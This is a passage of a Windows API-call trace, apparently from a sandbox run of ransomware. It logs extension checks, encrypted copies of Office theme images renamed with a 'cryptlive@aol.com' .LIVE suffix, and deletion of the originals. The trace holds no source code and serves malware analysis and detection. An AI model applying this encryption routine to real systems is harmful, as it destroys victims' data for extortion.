(lpString=".xlsx") returned 5 [0050.423] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.423] lstrlenW (lpString=".ppt") returned 4 [0050.423] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".zip") returned 4 [0050.423] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.423] lstrlenW (lpString=".rar") returned 4 [0050.423] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.423] lstrlenW (lpString=".bz2") returned 4 [0050.423] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString=".7z") returned 3 [0050.423] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".dbf") returned 4 [0050.423] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.423] lstrlenW (lpString=".1cd") returned 4 [0050.423] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0050.424] lstrlenW (lpString=".jpg") returned 4 [0050.424] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.424] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0050.424] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.424] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1354) returned 1 [0050.424] CloseHandle (hObject=0x1b0) returned 1 [0050.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0050.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.424] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.425] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.426] GetLastError () returned 0x0 [0050.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x54a, lpOverlapped=0x0) returned 1 [0050.428] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0050.428] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.428] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.429] SetEndOfFile (hFile=0x178) returned 1 [0050.429] CloseHandle (hObject=0x178) returned 1 [0050.429] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.429] SetEndOfFile (hFile=0x1b0) returned 1 [0050.430] CloseHandle (hObject=0x1b0) returned 1 [0050.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.430] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString=".doc") returned 4 [0050.431] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.431] lstrlenW (lpString=".docx") returned 5 [0050.431] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.431] lstrlenW (lpString=".pdf") returned 4 [0050.431] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.431] lstrlenW (lpString=".xls") returned 4 [0050.431] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.431] lstrlenW (lpString=".xlsx") returned 5 [0050.431] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.431] lstrlenW (lpString=".ppt") returned 4 [0050.431] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString=".zip") returned 4 [0050.431] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.431] lstrlenW (lpString=".rar") returned 4 [0050.431] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.431] lstrlenW (lpString=".bz2") returned 4 [0050.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.431] lstrlenW (lpString=".7z") returned 3 [0050.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString=".dbf") returned 4 [0050.431] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString=".1cd") returned 4 [0050.431] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.431] lstrlenW (lpString=".jpg") returned 4 [0050.431] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString=".doc") returned 4 [0050.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.432] lstrlenW (lpString=".docx") returned 5 [0050.432] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.432] lstrlenW (lpString=".pdf") returned 4 [0050.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString=".xls") returned 4 [0050.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString=".xlsx") returned 5 [0050.432] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.432] lstrlenW (lpString=".ppt") returned 4 [0050.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString=".zip") returned 4 [0050.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString=".rar") returned 4 [0050.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.432] lstrlenW (lpString=".bz2") returned 4 [0050.432] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.432] lstrlenW (lpString=".7z") returned 3 [0050.432] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString=".dbf") returned 4 [0050.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString=".1cd") returned 4 [0050.432] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0050.432] lstrlenW (lpString=".jpg") returned 4 [0050.432] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.433] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0050.433] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.433] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=32433) returned 1 [0050.433] CloseHandle (hObject=0x1b0) returned 1 [0050.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0050.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.433] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.433] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.434] GetLastError () returned 0x0 [0050.434] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0050.780] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0050.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.781] WriteFile (in: hFile=0x178, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.781] SetEndOfFile (hFile=0x178) returned 1 [0050.781] CloseHandle (hObject=0x178) returned 1 [0050.782] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.782] SetEndOfFile (hFile=0x1b0) returned 1 [0050.783] CloseHandle (hObject=0x1b0) returned 1 [0050.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.783] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.783] lstrlenW (lpString=".doc") returned 4 [0050.783] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.783] lstrlenW (lpString=".docx") returned 5 [0050.783] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.783] lstrlenW (lpString=".pdf") returned 4 [0050.783] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString=".xls") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.784] lstrlenW (lpString=".xlsx") returned 5 [0050.784] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.784] lstrlenW (lpString=".ppt") returned 4 [0050.784] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString=".zip") returned 4 [0050.784] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.784] lstrlenW (lpString=".rar") returned 4 [0050.784] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.784] lstrlenW (lpString=".bz2") returned 4 [0050.784] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString=".7z") returned 3 [0050.784] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString=".dbf") returned 4 [0050.784] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString=".1cd") returned 4 [0050.784] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString=".jpg") returned 4 [0050.784] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.784] lstrlenW (lpString=".doc") returned 4 [0050.784] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString=".docx") returned 5 [0050.784] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.784] lstrlenW (lpString=".pdf") returned 4 [0050.784] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.784] lstrlenW (lpString=".xls") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.784] lstrlenW (lpString=".xlsx") returned 5 [0050.784] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.785] lstrlenW (lpString=".ppt") returned 4 [0050.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.785] lstrlenW (lpString=".zip") returned 4 [0050.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.785] lstrlenW (lpString=".rar") returned 4 [0050.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.785] lstrlenW (lpString=".bz2") returned 4 [0050.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.785] lstrlenW (lpString=".7z") returned 3 [0050.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.785] lstrlenW (lpString=".dbf") returned 4 [0050.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.785] lstrlenW (lpString=".1cd") returned 4 [0050.785] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0050.785] lstrlenW (lpString=".jpg") returned 4 [0050.785] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.785] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0050.785] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.255] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=18817) returned 1 [0051.255] CloseHandle (hObject=0x214) returned 1 [0051.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0051.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.256] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.256] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.256] GetLastError () returned 0x0 [0051.256] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x4981, lpOverlapped=0x0) returned 1 [0051.258] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0051.259] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.259] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.259] SetEndOfFile (hFile=0x1f8) returned 1 [0051.259] CloseHandle (hObject=0x1f8) returned 1 [0051.259] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.259] SetEndOfFile (hFile=0x214) returned 1 [0051.260] CloseHandle (hObject=0x214) returned 1 [0051.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString=".doc") returned 4 [0051.261] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.261] lstrlenW (lpString=".docx") returned 5 [0051.261] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.261] lstrlenW (lpString=".pdf") returned 4 [0051.261] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.261] lstrlenW (lpString=".xls") returned 4 [0051.261] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.261] lstrlenW (lpString=".xlsx") returned 5 [0051.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.261] lstrlenW (lpString=".ppt") returned 4 [0051.261] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString=".zip") returned 4 [0051.261] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.261] lstrlenW (lpString=".rar") returned 4 [0051.261] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.261] lstrlenW (lpString=".bz2") returned 4 [0051.261] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.261] lstrlenW (lpString=".7z") returned 3 [0051.261] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString=".dbf") returned 4 [0051.261] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString=".1cd") returned 4 [0051.261] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.261] lstrlenW (lpString=".jpg") returned 4 [0051.261] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString=".doc") returned 4 [0051.262] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString=".docx") returned 5 [0051.262] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.262] 